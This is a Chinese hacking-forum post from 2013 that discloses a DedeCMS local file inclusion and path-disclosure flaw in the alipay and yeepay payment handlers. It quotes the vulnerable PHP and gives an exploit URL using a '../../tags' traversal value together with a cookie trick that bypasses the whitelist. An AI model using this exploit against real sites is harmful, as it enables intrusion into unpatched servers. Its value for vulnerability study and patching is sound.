找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2399|回复: 0
打印 上一主题 下一主题

dedecms本地文件包含及物理路径泄露0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:25:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)9 n4 l' Z+ [5 j0 i* O7 o! M

9 R  P2 _- G# C4 G/ w出现漏洞的两个文件为:4 h: w: x2 [) d3 d$ x+ j  i
Include/payment/alipay.php) u2 V+ F* E5 |/ a1 X% W, A7 M
Include/payment/yeepay.php* f* e9 c6 f& m4 {+ N7 y% b
漏洞均出现在respond方法里,估计这两个文件是临时工写的。! P  P( a) O3 Y0 F$ I
0 ?5 e! O  i* v0 G* h8 {- @0 L
Include/payment/alipay.php
. P6 }$ n9 \6 O$ f
' h$ V& G$ d5 r9 e7 u......! L6 f+ d1 U3 B6 }" B4 o; b8 C
   function respond()* o4 Y9 `& F$ X  c9 F
    {
( B  L3 s7 q: W3 w7 M& }        if (!empty($_POST))+ |4 c' }8 f$ Z* s
        {
+ D- i( a! z& j5 w7 t            foreach($_POST as $key => $data). y; N2 n& a5 t6 R" F! b: {
            {& j2 Z$ e+ E- v6 J
                $_GET[$key] = $data;9 Z( s( Q  i* m( C; |
            }
. b+ e1 P5 A& r; M        }
$ X0 d* ^6 ]) T/ e7 o% M+ D        /* 引入配置文件 */
7 d8 S# h; Z% a; [, ~4 s        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
5 n+ Q! m8 M9 w3 `- A  Q+ F...... 4 M- w0 M& v- v$ o

9 @& L2 ~" B2 y1 N9 x- o
5 u% _' p% M4 Y  h大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。& S7 Y' ]% l0 }0 E: k

% I( ^, Q" f; ^4 v: W5 u: Z( Q+ z2 oInclude/payment/yeepay.php
2 k% r5 W2 e) C4 S+ B8 H( |2 ]) c( e' O9 g  P" ]6 D5 Z* g

2 Y/ L: p3 a- u; H9 n4 C4 k& k" |# Y. \: ~
......
1 d' c3 `5 h9 C( u8 K3 R% c    function respond()
! l" L" n, S" e* }. W$ ^2 S& Y    {, E$ X) G. S$ H! _; ?+ j

0 B1 l/ ?' a6 _7 I8 }# ~2 P        /* 引入配置文件 */6 C" ^" A9 x4 u% O. K0 z& D
        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';  B3 d* t. h3 a* D$ T0 i0 W3 ?

. }- w# v* s; ^9 a& y, ?2 f6 Q        $p1_MerId = trim($payment['yp_account']);
) N/ Z; P% b$ i: ]- z" w& i3 R1 D        $merchantKey = trim($payment['yp_key']);
& s' {% L1 w0 O3 g# i......
- |3 E" J4 U- l, h( T6 n7 \ , v; V& K! ]) g8 W: o6 G" m

/ j0 `& y( B% O0 p$ g: x 1 c9 F0 K% A2 ?' d/ Z& [7 A
/ \5 M. i  ?- \
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
' Q! g* ^* J* J3 S* U, F  @: Z+ V5 D  D+ p# x" k
这两个方法在plus/carbuyaction.php文件调用。0 H5 w/ g; R  R+ m* Q

' V4 s+ N# J1 a# yplus/carbuyaction.php
/ V2 S+ V% B' v$ u+ g3 z3 ]( |5 w2 b0 p, ^' J) V
......6 k; C5 ]1 \, }0 {' y% k1 v
} else if ($dopost == 'return') {; P' Y. \0 N7 B4 C9 e
    $write_list = array('alipay', 'bank', 'cod', 'yeepay');0 Z& A! D5 C* o9 [, x$ K
    if (in_array($code, $write_list))' @& l# _7 [9 U* W
    {
3 i! _3 y- [* _, N6 L9 [# f2 b        require_once DEDEINC.'/payment/'.$code.'.php';
( P4 m# i; F3 ]% w: V. v  o        $pay = new $code;* @$ i7 t. l  T: P6 a3 x' n( S
        $msg=$pay->respond();
% U8 P6 I, |. i. Z9 |) s        ShowMsg($msg, "javascript:;", 0, 3000);
" u+ D3 w5 I( O2 ~6 l        exit();  4 g6 V2 j+ D: a! O# f
    } else {
1 K  S9 e  e* P2 {        exit('Error:File Type Can\'t Recognized!');% ~! ^( }* Y( o. s# G; j* |
    }  k" B7 x) D1 i4 U
}
- e8 x& z5 r' r, W$ j$ t: }$ K1 I...... & W$ l0 n5 j; X: v4 f% f" \: _
, R0 q1 O; g% t8 j

; Z' j1 Z6 t/ S- Q; [# s
& x* {* @$ f% R' ?5 g/ m. J
3 q% y  ]0 {+ S; L, S4 [1 B " h) j) W) U' P4 g
$ i: T! E. _) S, E; T
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。6 Q4 w6 f, e3 R1 s- v
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。5 N7 X- Y! k* F( N- P2 L

  {7 i' b7 n  F' h# K回到include/common.inc.php来看看他的机制。
3 D& m& U+ q$ @- w% a1 K4 H! G) _. B1 ^: U$ w/ _

( A' ]4 Y3 I7 V4 P! O% `
  c' P# |# U1 U2 M9 U......
! n: W8 L  j1 p$ ^, A5 Y% s8 p8 ]foreach(Array('_GET','_POST','_COOKIE') as $_request)7 ]* W8 c8 G, ?, a
{
8 @. I# R9 R/ O4 e0 r3 W        foreach($$_request as $_k => $_v)
% N6 @$ ]% T  Y. w8 Z2 l; L        {
5 c7 l2 J8 _' w8 ]3 E2 t8 Z                if($_k == 'nvarname') ${$_k} = $_v;8 N: e! [% k* g( |1 \8 `
                else ${$_k} = _RunMagicQuotes($_v);+ \2 }% _% R( L0 T/ H
        }$ t1 M( L0 U; c
}3 E- k/ F3 Z. r0 o8 i
......
! L$ d: E9 P' C2 t8 q/ ?7 ?大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
9 R4 W4 T# U5 y+ u" l! T% i由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表